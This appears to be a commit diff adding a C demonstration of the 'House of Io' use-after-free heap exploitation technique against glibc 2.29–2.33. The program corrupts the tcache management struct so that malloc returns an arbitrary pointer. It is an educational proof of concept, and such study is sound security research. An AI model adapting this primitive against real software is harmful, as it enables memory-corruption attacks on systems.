|
| 1 | +#include <assert.h> |
| 2 | +#include <malloc.h> |
| 3 | +#include <stdint.h> |
| 4 | +#include <stdio.h> |
| 5 | +#include <stdlib.h> |
| 6 | + |
| 7 | +// House of Io - Use after free Variant |
| 8 | +// ==================================== |
| 9 | +// |
| 10 | +// Source: https://awaraucom.wordpress.com/2020/07/19/house-of-io-remastered/ |
| 11 | +// |
| 12 | +// Tested on libc versions 2.31, 2.32 and 2.33. |
| 13 | +// |
| 14 | +// House of Io makes use of the fact, that when freeing a chunk into the tcache |
| 15 | +// the chunk will receive a pointer to the tcache management struct which has |
| 16 | +// been allocated beforehand. This pointer is the tcache->key entry of a free'd |
| 17 | +// tcache chunk. There are three different versions of this attack and all work |
| 18 | +// even with safe-link enabled, as the tcache-key pointer, and more importantly |
| 19 | +// the pointers in the tcache_perthread_struct, are not protected. |
| 20 | +// |
| 21 | +// House of Io only works in libc versions 2.29 - 2.33, because in these |
| 22 | +// versions the key of a tcache entry is the pointer to the tcache management |
| 23 | +// struct. This can allow an attacker to carry out a tcache_metadata_poisoning |
| 24 | +// attack. |
| 25 | +// |
| 26 | +// However the exploit primitives are very constrained as stated in the source. |
| 27 | +// Negative overflows are very rare and so is the needed order of specific frees |
| 28 | +// for the double free variant. This use after free is a bit more realistic. |
| 29 | + |
| 30 | +unsigned long global_var = 1; |
| 31 | + |
| 32 | +struct overlay { |
| 33 | + uint64_t *next; |
| 34 | + uint64_t *key; |
| 35 | +}; |
| 36 | + |
| 37 | +struct tcache_perthread_struct { |
| 38 | + uint16_t counts[64]; |
| 39 | + uint64_t entries[64]; |
| 40 | +}; |
| 41 | + |
| 42 | +int main() { |
| 43 | + setbuf(stdin, NULL); |
| 44 | + setbuf(stdout, NULL); |
| 45 | + |
| 46 | + puts("In house of Io we make use of the fact, that a free'd tcache chunk\n" |
| 47 | + "gets a pointer to the tcache management struct inserted at the\n" |
| 48 | + "second slot.\n"); |
| 49 | + |
| 50 | + puts( |
| 51 | + "This variant is the use-after-free variant and can be used, if the\n" |
| 52 | + "free'd struct has a pointer at offset +0x08, which can be read from\n" |
| 53 | + "and written to. This pointer will be the tcache->key entry of the\n" |
| 54 | + "free'd chunk, which contains a pointer to the tcache management\n" |
| 55 | + "struct. If we use that pointer we can manipulate the tcache management\n" |
| 56 | + "struct into returning an arbitrary pointer.\n"); |
| 57 | + |
| 58 | + printf("Specifically we get a pointer to the `global_var` at %p returned to\n" |
| 59 | + "us from malloc.\n\n", |
| 60 | + &global_var); |
| 61 | + |
| 62 | + puts("First we have to allocate a struct, that has a pointer at offset\n" |
| 63 | + "+0x08.\n"); |
| 64 | + struct overlay *ptr = malloc(sizeof(struct overlay)); |
| 65 | + |
| 66 | + ptr->next = malloc(0x10); |
| 67 | + ptr->key = malloc(0x10); |
| 68 | + |
| 69 | + puts("Then we immedietly free that struct to get a pointer to the tcache\n" |
| 70 | + "management struct.\n"); |
| 71 | + free(ptr); |
| 72 | + |
| 73 | + printf("The tcache struct is located at %p.\n\n", ptr->key); |
| 74 | + struct tcache_perthread_struct *management_struct = |
| 75 | + (struct tcache_perthread_struct *)ptr->key; |
| 76 | + |
| 77 | + puts( |
| 78 | + "Now that we have a pointer to the management struct we can manipulate\n" |
| 79 | + "its values. First we potentially have to increase the counter of the\n" |
| 80 | + "first bin by to a number higher than zero, to make the tcache think we\n" |
| 81 | + "free'd at least one chunk. In our case this is not necesarry because\n" |
| 82 | + "the `overlay` struct fits in the first bin and we have free'd that\n" |
| 83 | + "already. The firest member of the tcache_perthread_struct is the array\n" |
| 84 | + "of counters. So by overwriting the first element of our pointer we set\n" |
| 85 | + "the correct value in the array.\n"); |
| 86 | + management_struct->counts[0] = 1; |
| 87 | + |
| 88 | + printf("Before we overwrite the pointer in the tcache bin, the bin contains\n" |
| 89 | + "[ %p ]. This is the same as the free'd overlay struct which we\n" |
| 90 | + "created at the start [ %p == %p ].\n\n", |
| 91 | + management_struct->entries[0], management_struct->entries[0], ptr); |
| 92 | + management_struct->entries[0] = (uint64_t)&global_var; |
| 93 | + printf( |
| 94 | + "After the write we have placed a pointer to the global variable into\n" |
| 95 | + "the tcache [ %p ].\n\n", |
| 96 | + management_struct->entries[0]); |
| 97 | + |
| 98 | + puts("If we now allocate a new chunk from that tcache bin we get a pointer\n" |
| 99 | + "to our target location.\n"); |
| 100 | + uint64_t *evil_chunk = malloc(0x10); |
| 101 | + |
| 102 | + assert(evil_chunk == &global_var); |
| 103 | + return 0; |
| 104 | +} |
0 commit comments